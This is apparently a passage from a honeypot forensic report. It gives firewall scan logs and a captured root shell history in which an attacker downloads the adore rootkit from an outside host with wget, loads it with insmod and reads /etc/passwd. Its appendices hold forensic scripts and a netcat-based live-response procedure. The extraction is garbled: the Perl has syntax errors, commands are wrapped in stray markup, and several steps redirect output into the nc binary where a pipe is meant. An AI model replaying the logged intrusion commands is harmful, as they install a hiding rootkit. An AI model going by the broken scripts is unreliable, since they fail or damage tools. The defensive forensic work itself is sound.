DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)
The First Attacker Remote Exploit and Shell

Aug 17 22:02:52 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=50899 DF PROTO=TCP SPT=37608 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A2448E00000000001030300)

Aug 17 22:02:52 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=50899 DF PROTO=TCP SPT=37608 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A2448E00000000001030300)

Aug 17 22:02:52 192.168.10.5 bash[645]: shell started by username: root UID: 0 EUID: 0 GID: 0 EGID: 0
Aug 17 22:02:53 192.168.10.5 bash[645]: [root] /bin/uname -a
Aug 17 22:02:59 192.168.10.5 bash[645]: [root] dir
Aug 17 22:03:01 192.168.10.5 bash[645]: [root] pwd
Aug 17 22:03:02 192.168.10.5 bash[645]: [root] whoami
Aug 17 22:03:03 192.168.10.5 bash[645]: [root] id
Aug 17 22:03:23 192.168.10.5 bash[645]: [root] pwd
Aug 17 22:03:24 192.168.10.5 bash[645]: [root] dir
Aug 17 22:03:50 192.168.10.5 bash[645]: [root] wget http://www.team-teso.net/releases/adore-0.42.tgz
Aug 17 22:04:02 192.168.10.5 bash[645]: [root] tar -zxvf adore-0.42.tgz
Aug 17 22:04:10 192.168.10.5 bash[645]: [root] tar -zxvf adore-0.42.tgz
Aug 17 22:04:12 192.168.10.5 bash[645]: [root] cd adore
Aug 17 22:04:13 192.168.10.5 bash[645]: [root] dir

---- cut ----

Aug 17 22:04:15 192.168.10.5 bash[750]: [root]
Aug 17 22:04:16 192.168.10.5 bash[645]: [root] ./configure
Aug 17 22:04:22 192.168.10.5 bash[645]: [root] ./configure
Aug 17 22:04:52 192.168.10.5 bash[645]: [root] ls
Aug 17 22:04:56 192.168.10.5 bash[645]: [root] ./startadore
Aug 17 22:04:56 192.168.10.5 bash[793]: shell started by username: root UID: 0 EUID: 0 GID: 0 EGID: 0
Aug 17 22:04:56 192.168.10.5 bash[793]: [root] #!/bin/sh
Aug 17 22:04:56 192.168.10.5 bash[793]: [root]
Aug 17 22:04:56 192.168.10.5 bash[793]: [root] # Use this script to bootstrap adore!
Aug 17 22:04:56 192.168.10.5 bash[793]: [root] # It will make adore invisible. You could also
Aug 17 22:04:56 192.168.10.5 bash[793]: [root] # insmod adore without $0 but then its visible.
Aug 17 22:04:56 192.168.10.5 bash[793]: [root] insmod adore.o
Aug 17 22:04:56 192.168.10.5 bash[793]: [root] rmmod cleaner.o
Aug 17 22:04:56 192.168.10.5 bash[793]: [root]
Aug 17 22:04:56 192.168.10.5 bash[793]: [root] last message repeated 2 times
Aug 17 22:05:01 192.168.10.5 bash[645]: [root] cat startadore
Aug 17 22:05:24 192.168.10.5 bash[645]: [root] echo /sbin/insmod adore
Aug 17 22:05:35 192.168.10.5 bash[645]: [root] is
Aug 17 22:05:38 192.168.10.5 bash[645]: [root] insmod adore.o
Aug 17 22:05:44 192.168.10.5 bash[645]: [root] /sbin/insmod adore.o
Aug 17 22:05:46 192.168.10.5 bash[645]: [root] ./s^H
Aug 17 22:05:52 192.168.10.5 bash[645]: [root] /sbin/insmod cleaner.o
Aug 17 22:05:54 192.168.10.5 bash[645]: [root] dir
Aug 17 22:06:10 192.168.10.5 bash[645]: [root] dir
Aug 17 22:06:11 192.168.10.5 bash[645]: [root] ls
Aug 17 22:06:14 192.168.10.5 bash[645]: [root]
Aug 17 22:06:15 192.168.10.5 bash[645]: [root]
Aug 17 22:06:22 192.168.10.5 bash[645]: [root] v
Aug 17 22:06:23 192.168.10.5 bash[645]: [root] cd /etc/
Aug 17 22:06:24 192.168.10.5 bash[645]: [root] dir
Aug 17 22:06:30 192.168.10.5 bash[645]: [root] cd /var
Aug 17 22:06:30 192.168.10.5 bash[645]: [root] ls
Aug 17 22:06:36 192.168.10.5 bash[645]: [root] cd /etc/
Aug 17 22:06:42 192.168.10.5 bash[645]: [root] cat passwd

Second Attacker Does A Statd Exploit and Continues Scanning

Aug 17 22:09:04 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x DST=192.168.10.5 LEN=84 TOS=0x00 PREC=0x00 TTL=46 ID=64503 PROTO=UDP SPT=765 DPT=111 LEN=64
Aug 17 22:09:04 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=62254 DF PROTO=TCP SPT=928 DPT=928 WINDOW=16384 RES=0x00 SYN URGP=0 OPT (020405B401010402010303000101080A592A80A200000000)
Aug 17 22:09:04 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=64503 PROTO=UDP SPT=765 DPT=111 LEN=64
Aug 17 22:11:43 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=52434 DF PROTO=TCP SPT=37637 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A313EC0000000001030300)
Aug 17 22:11:43 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=52434 DF PROTO=TCP SPT=37637 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A313EC0000000001030300)
Aug 17 22:11:43 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=51 TOS=0x00 PREC=0x00 TTL=48 ID=5100 DF PROTO=UDP SPT=32831 DPT=53 LEN=31
Aug 17 22:12:08 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=43224 DF PROTO=TCP SPT=37640 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A313EC0000000001030300)
Aug 17 22:12:08 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=43224 DF PROTO=TCP SPT=37640 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A313EC0000000001030300)
Aug 17 22:12:09 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2

The First Attacker Portscans Again: Forgot To Put Backdoor In?

Aug 17 22:11:43 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=52434 DF PROTO=TCP SPT=37637 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A313EC0000000001030300)
Aug 17 22:11:43 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=52434 DF PROTO=TCP SPT=37637 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A313EC0000000001030300)
Aug 17 22:11:43 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=51 TOS=0x00 PREC=0x00 TTL=48 ID=5100 DF PROTO=UDP SPT=32831 DPT=53 LEN=31
Aug 17 22:12:08 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=43224 DF PROTO=TCP SPT=37640 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A313EC0000000001030300)
Aug 17 22:12:08 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=43224 DF PROTO=TCP SPT=37640 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A313EC0000000001030300)
Aug 17 22:12:09 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2
SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48
ID=27330 DF PROTO=TCP SPT=37641 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A31E3E000000001030300)
Aug 17 22:12:09 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=27330 DF PROTO=TCP SPT=37641 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A31E3E000000001030300)
Aug 17 22:12:10 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=61718 DF PROTO=TCP SPT=37642 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A31E78000000001030300)
Aug 17 22:12:10 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=61718 DF PROTO=TCP SPT=37642 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A31E78000000001030300)
Aug 17 22:12:10 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=42181 DF PROTO=TCP SPT=37643 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A31EB5000000001030300)
Aug 17 22:12:10 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=42181 DF PROTO=TCP SPT=37643 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A31EB5000000001030300)
Aug 17 22:12:11 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=8939 DF PROTO=TCP SPT=37644 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A31F10000000001030300)
Aug 17 22:12:11 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=8939 DF PROTO=TCP SPT=37644 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A31F10000000001030300)
Aug 17 22:12:14 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=6866 DF PROTO=TCP SPT=37645 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A3202E000000001030300)
Aug 17 22:12:14 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=6866 DF PROTO=TCP SPT=37645 DPT=53 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00A3202E000000001030300)

-- cut --
Appendix 5 – Recover Deleted Files Script

#!/bin/bash
######################################################
##
##  Recover Deleted Files
##  Author: John Green
##  Source: Advanced Unix Forensics, Page 1-10
##
######################################################

TOOL=/appl/forensics/task
TOOL_BIN=$TOOL/bin
DEL_DIR=/data/forensics/morgue/deleted_files

mkdir $DEL_DIR

$TOOL_BIN/ils -rf linux-ext2 $1 | \
awk -F '|' '($2=="f") {print $1}' | \
while read i;
do $TOOL_BIN/icat \n    $1 $i > \
    $DEL_DIR/$i; \n    echo "Done $i"
done

$TOOL_BIN/file -m $TOOL/etc/magic ./* > $DEL_DIR/file_types
Appendix 6 – Poorman’s “Tripwire” Scripts

MD5-create Script

#!/bin/bash

#############################################################
## Script: md5-create
## Written By: Keven Murphy (xavier@greyhawk-codex.com)
##
## Description: This script will create a md5 hash for
## every file in a given directory.
##
## Syntax: ./md5_create {log file} {directory to be scanned} {clean/dirty}
## Example: ./md5_create honeypot.md5 /mnt/hp dirty
##
#############################################################

TEE=/usr/bin/tee

find $2 -type f -xdev -print \ 
  | xargs md5sum | $TEE -a $1

if [ "$3" = "dirty" ]; then
  echo "Removing $2 prefix"
  echo "Run this (may have to change to strip out $2): sed 's/$2//g' $1 > $1a "
  echo "Run this: sort +2 -t" " -o $1 $1"
  echo "Run this:md5sum $1 | $TEE -a $1.md5"
else
  echo "Sorting filenames ..."
  sort +2 -t" " -o $1 $1
  echo "Md5sum for new db:"
  md5sum $1 | $TEE -a $1.md5
fi

MD5_Compare Script

#!/usr/bin/perl -w

#############################################################
## Script: md5-compare.pl
## Written By: Keven Murphy (xavier@greyhawk-codex.com)

 Page: 96 of 132
Description: This perl script will compare the output from md5-create script and compare it to another output from md5-create script. The md5-create script creates a flat text file database of md5 hashes of files for the entire filesystem. The output from the md5sum command can be captured and ran through the md5-compare.pl script.

Part of the reason for this script was the UNIX diff command did not seem to work properly when comparing the two database files. The diff command seemed to work for two thirds of the time. In the output lines like below were found:

```
520dfe5aa2dd1bf6e1bf43c21175f1fb /usr/doc/squid-2.3.STABLE1/FAQ-16.html | 156ded13d5e16b84a9e31193bc9bc417 /usr/lib/adore-0.42.tgz
```

Looks like it is saying that the filenames are the same but the md5 hash is different. `diff -b -W 160 -y clean_system honeypot_system` was the command used to generate the above line.

The line below says that the CET line is not found in the honeypot_system file.

```
73755870b8c866a601c0d934f48120d6 /usr/share/zoneinfo/posix/CET
```

I understand it is possible that there is a bug in the diff command or I am not running the command properly. Regardless of the case, this script can do more than just running the diff command.

Terms

Dirty Filesystem = This filesystem is considered to have been altered by some agent.

Clean Filesystem = This filesystem is considered the orginal filesystem.

Output from this script

dirty_outfile: This contains all of the output that is displayed during the dirty filesystem check. All of the checks, whether they pass or fail, get recorded to this file.

dirty_outfile.md5: Contains all of the files that failed and why. The format is: clean filename:clean md5:dirty filename:dirty md5

dirty_outfile.nf: Any file that was not found in the clean system was recorded here. Format: dirty filename:dirty md5
## clean_outfile: Like the dirty_outfile except that
everything that is record is during the clean filesystem check.
## clean_outfile.md5: Contains all the files that were not found
in the dirty system database. Mainly, this file is not needed
because the clean_outfile.nf contains the same information.
## It was created in case another script was ran against it
## in the future. Format: clean filename:clean md5::
## clean_outfile.nf: Any file that was not found in the
dirty system was record here. Format: clean filename:clean md5

## Issues: The script is horribly slow. It takes 2-4 hours to
run in its present form. A hashing table needs to be
setup to improve the speed of the search. The other
problem is command line arguments would be nice. Plus a
nice code cleanup would be needed.

### Configurable Variables

```
$dirtyfile = "dirty_outfile";
$dirtyoutmd5 = "dirty_outfile.md5";
$dirtyoutnotfound = "dirty_outfile.nf";

(clean_outfile = "clean_outfile"

$cleanfile = "clean_outfile"
$cleanoutmd5 = "clean_outfile.md5"
$cleanoutnotfound = "clean_outfile.nf"
```

## End of Configurable Variables

```
open (DIRTYSYS, "$dirtyfile");

# Getting Array ready
my @dirtysys;
my $i = 0;

# Read in data
print "\n\n\nReading in Dirty System MD5 hashes....\n";
while (<DIRTYSYS>) {
    chomp (($dirtysys[$i]{md5}, $dirtysys[$i]{fn}) = split (\s\s/));
```
my @sorted_fn_dirty = sort {
    lc ( $$a{fn} )
    cmp lc( $$b{fn} )
} @dirtysys;

close (DIRTYSYS);

open (CLEANSYS, "$cleansystem_file");

# Getting Array ready
my @cleansys;
my $i = 0;

# Read in data
print "\n\n\n";
print "Reading in Clean System MD5 hashes....\n";
while (<CLEANSYS>) {
    chomp ($cleansys[$i]{md5}, $cleansys[$i]{fn}) = split (/\s\s/);
    $i++;
}

my @sorted_fn_clean = sort {
    lc ( $$a{fn} )
    cmp lc( $$b{fn} )
} @cleansys;

close (CLEANSYS);

#=================================================================
# Dirty vs. Clean
#=================================================================
print "\n\n";
print "Starting Dirty MD5 comparison....\n";

open (OUTFILE, ">$dirtyfile") || die "Cannot open $file for output: $!\n";
open (OUTMD5, ">$dirtyoutmd5") || die "Cannot open $file for output: $!\n";
open (OUTNF, ">$dirtyoutnotfound") || die "Cannot open $file for output: $!\n";
$failedmatches = 0;
$okmatches = 0;
$notfound = 0;

## Need a better searching algorithm
## This way takes FOREVER
for my $dirtysys(@sorted_fn_dirty) {
    $found = 0;
    for my $cleansys(@sorted_fn_clean) {
        if ( $$dirtysys{fn} eq $$cleansys{fn} ) {
            $found = 1;
            if ( $$dirtysys{md5} ne $$cleansys{md5} ) {
                print "Dirty: FAILED -- Dirty System:$$dirtysys{fn}
DOES NOT MATCH Clean System: $$cleansys{fn}\n";
                print OUTFILE "FAILED -- Dirty System:$$dirtysys{fn}\n";
                print OUTFILE "Dirty MD5: $$dirtysys{md5}\n";
                print OUTFILE "Clean MD5: $$cleansys{md5}\n";
                print OUTMD5 "$$cleansys{fn}:$$cleansys{md5}:
$$dirtysys{fn}:$$dirtysys{md5}\n";
                $failedmatches++;
            } else {
                print "Dirty: OK -- Dirty System:$$dirtysys{fn}\n";
                print OUTFILE "OK -- Dirty System:$$dirtysys{fn}\n";
                print OUTFILE "Dirty MD5: $$dirtysys{md5}\n";
                print OUTFILE "Clean MD5: $$cleansys{md5}\n";
                print OUTFILE "Clean MD5: $$cleansys{md5}\n";
                print OUTFILE "Clean MD5: $$cleansys{md5}\n";
                $okmatches++;
            }
        } else {
            print "Dirty: FAILED -- Dirty System:$$dirtysys{fn} NOT FOUND\n";
            print OUTFILE "FAILED -- Dirty System:$$dirtysys{fn} NOT FOUND\n";
            print OUTMD5 "::$$dirtysys{fn}:$$dirtysys{md5}\n";
            print OUTNF "$$dirtysys{fn}:$$dirtysys{md5}\n";
            $notfound++;
        }
    }
    if ( $found == 0 ) {
        print "Dirty: FAILED -- Dirty System:$$dirtysys{fn} NOT FOUND\n";
        print OUTFILE "FAILED -- Dirty System:$$dirtysys{fn} NOT FOUND\n";
        print OUTMD5 "::$$dirtysys{fn}:$$dirtysys{md5}\n";
        print OUTNF "$$dirtysys{fn}:$$dirtysys{md5}\n";
        $notfound++;
    }
}
print OUTFILE "\n\n";
print OUTFILE "Number of OK matches: $okmatches\n";
print OUTFILE "Number of FAILED matches: $failedmatches\n";
print OUTFILE "Number of NOT FOUND matches: $notfound\n";
print "\n\n";
print "Dirty: Number of OK matches: $okmatches\n";
print "Dirty: Number of FAILED matches: $failedmatches\n";
print "Dirty: Number of NOT FOUND matches: $notfound\n";
close (OUTFILE);
close (OUTMD5);
close (OUTNF);

#=================================================================
# Clean vs. Dirty -- Looking for missing files
#=================================================================
print "\n\n";
print "Starting Clean MD5 comparison....\n";

open (OUTFILE, ">$cleanfile") || die "Cannot open $file for output: $!
";
open (OUTMD5, ">$cleanoutmd5") || die "Cannot open $file for output: $!
";
open (OUTNF, ">$cleanoutnotfound") || die "Cannot open $file for output: $!
";

$failedmatches = 0;
$okmatches = 0;
$notfound = 0;

## Need a better searching algorithm
## This way takes FOREVER
for my $cleansys(@sorted_fn_clean) {
    $found = 0;
    for my $dirtysys(@sorted_fn_dirty) {
        if ( $$dirtysys{fn} eq $$cleansys{fn} ) {
            $found = 1;
        }
    }
    if ( $found == 0 ) {
        print "Clean: FAILED -- Clean System:$$cleansys{fn} NOT FOUND\n\n";
        print OUTFILE "FAILED -- Clean System:$$cleansys{fn} NOT FOUND\n\n";
        print OUTMD5 "$$cleansys{fn}:$$cleansys{md5}:\n";
        print OUTNF "$$cleansys{fn}:$$cleansys{md5}\n";
        $notfound++;
    }
}
print OUTFILE "\n\n";
print OUTFILE "Number of NOT FOUND matches: $notfound\n";
print "\n\n";
print "Clean: Number of NOT FOUND matches: $notfound\n";

close (OUTFILE);
close (OUTMD5);
close (OUTNF);
Appendix 7 – Find Stuff script

#!/bin/bash

#############################################################
## Script: find_stuff
## Written By: Keven Murphy
## Source for find commands: John Green from Basic Forensic Principles Illustrated With Linux booklet
##
## Description: This script creates a log file with the following items:
## List of SUID files, List of Hidden Directories,
## List of Directories in /dev that are not of type character or block
##
## Syntax: ./find_stuff {log file} {directory to be scanned}
## Example: ./find_stuff honeypot.fsout /mnt/hp
##
#############################################################

DATE=`date +%m%d%Y_%T`
OUTPUT_FILE=$1_$DATE

echo "List of SUID and SGID files" | tee -a $OUTPUT_FILE
echo "------------------" | tee -a $OUTPUT_FILE
find $2 \( -perm -004000 -o -perm -002000 \) -type f -printf "%TD %TT %k %h/%f\n" | sort -f -k1,4 | tee -a $OUTPUT_FILE

echo "" | tee -a $OUTPUT_FILE

echo "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=" | tee -a $OUTPUT_FILE

echo "List of Hidden Directories" | tee -a $OUTPUT_FILE
echo "--------------------------" | tee -a $OUTPUT_FILE
find $2 -name ".*" -type d -printf "%Tc %k %h/%f\n" | tee -a $OUTPUT_FILE

echo "" | tee -a $OUTPUT_FILE

echo "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=" | tee -a $OUTPUT_FILE

echo "Checking out Dev" | tee -a $OUTPUT_FILE
echo "----------------" | tee -a $OUTPUT_FILE
find $2/dev -not -type c -not -type b -printf "%Tc %T@ %k %h/%f\n" | sort -f | tee -a $OUTPUT_FILE

echo "" | tee -a $OUTPUT_FILE

Page: 103 of 132
echo "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| tee -a $OUTPUT_FILE
Appendix 8 – Forensics Procedure For A Live System

The procedure for doing the forensic audit on a live system would be:

1) Unplug the firewall from the Internet connection
2) Mount a CDROM disk containing a statically compiled version of the dd, ps, kill,
   lsmod, lsof, kstat, pcat, echo, and netcat
3) Recording what is typed with timestamps and screen output
   1. Change prompt so that it has date, time, and directory
      $$\text{export PS1}=\"\text{[d \ T \ u@h \ w]}\text{n\#}\"$$
   2. Mount a floppy
   3. Start the script command
      $$\text{script -f /mnt/floppy/fa.log}$$
4) Using the firewall as a receiving host for the images:
   1. To get memory
      On firewall
      $$\text{nc -l -p 3000 | dd of=/tmp/honeypot_memory_dd.img}$$
      On honeypot
      $$\text{/mnt/cdrom/bin/dd if=/dev/kmem | /mnt/cdrom/bin/nc 192.168.10.1 3000}$$
   2. To get /proc
      On firewall
      $$\text{nc -l -p 3001 | dd of=/tmp/honeypot_proc_dd.img}$$
      On honeypot
      $$\text{/mnt/cdrom/bin/dd if=/proc | /mnt/cdrom/bin/nc 192.168.10.1 3001}$$
   3. To get network connections
      On firewall
      $$\text{nc -l -p 3002 | dd of=/tmp/honeypot_network_conn_dd.img}$$
      On honeypot
      $$\text{/mnt/cdrom/bin/dd if=/proc | /mnt/cdrom/bin/nc 192.168.10.1 3002}$$
4. Get a list of running processes
   On firewall
   $$\text{nc -l -p 4000 > /data/data_collection}$$
   On honeypot
   $$\text{/mnt/cdrom/bin/echo `date` +"ps -ef" > /mnt/cdrom/bin/nc 192.168.10.1 4000}$$
   $$\text{/mnt/cdrom/bin/ps -ef > /mnt/cdrom/bin/nc 192.168.10.1 4000}$$
5. Get a list of open files
   On firewall
   $$\text{nc -l -p 4000 > /data/data_collection}$$
   Netcat should still be running from step 4. If not, use the above line to
   restart it.
   On honeypot
   $$\text{/mnt/cdrom/bin/echo `date` +"lsof" > /mnt/cdrom/bin/nc 192.168.10.1 4000}$$
   $$\text{/mnt/cdrom/bin/lsof > /mnt/cdrom/bin/nc 192.168.10.1 4000}$$
6. Get a list of open files corresponding to the IP address using them
   On firewall
   $$\text{nc -l -p 4000 > /data/data_collection}$$
Netcat should still be running from step 4. If not, use the above line to restart it.

On honeypot
/mnt/cdrom/bin/echo `date` +"lsof -i" > /mnt/cdrom/bin/nc 192.168.10.1 4000
/mnt/cdrom/bin/lsof -i > /mnt/cdrom/bin/nc 192.168.10.1 4000

7. Get a list of open NFS files lsof -N

On firewall
nc -l -p 4000 > /data/data_collection
Netcat should still be running from step 4. If not, use the above line to restart it.

On honeypot
/mnt/cdrom/bin/echo `date` +"lsof -N" > /mnt/cdrom/bin/nc 192.168.10.1 4000
/mnt/cdrom/bin/lsof > /mnt/cdrom/bin/nc 192.168.10.1 4000

8. Get a list of open UNIX domain socket files

On firewall
nc -l -p 4000 > /data/data_collection
Netcat should still be running from step 4. If not, use the above line to restart it.

On honeypot
/mnt/cdrom/bin/echo `date` +"lsof -U" > /mnt/cdrom/bin/nc 192.168.10.1 4000
/mnt/cdrom/bin/lsof > /mnt/cdrom/bin/nc 192.168.10.1 4000

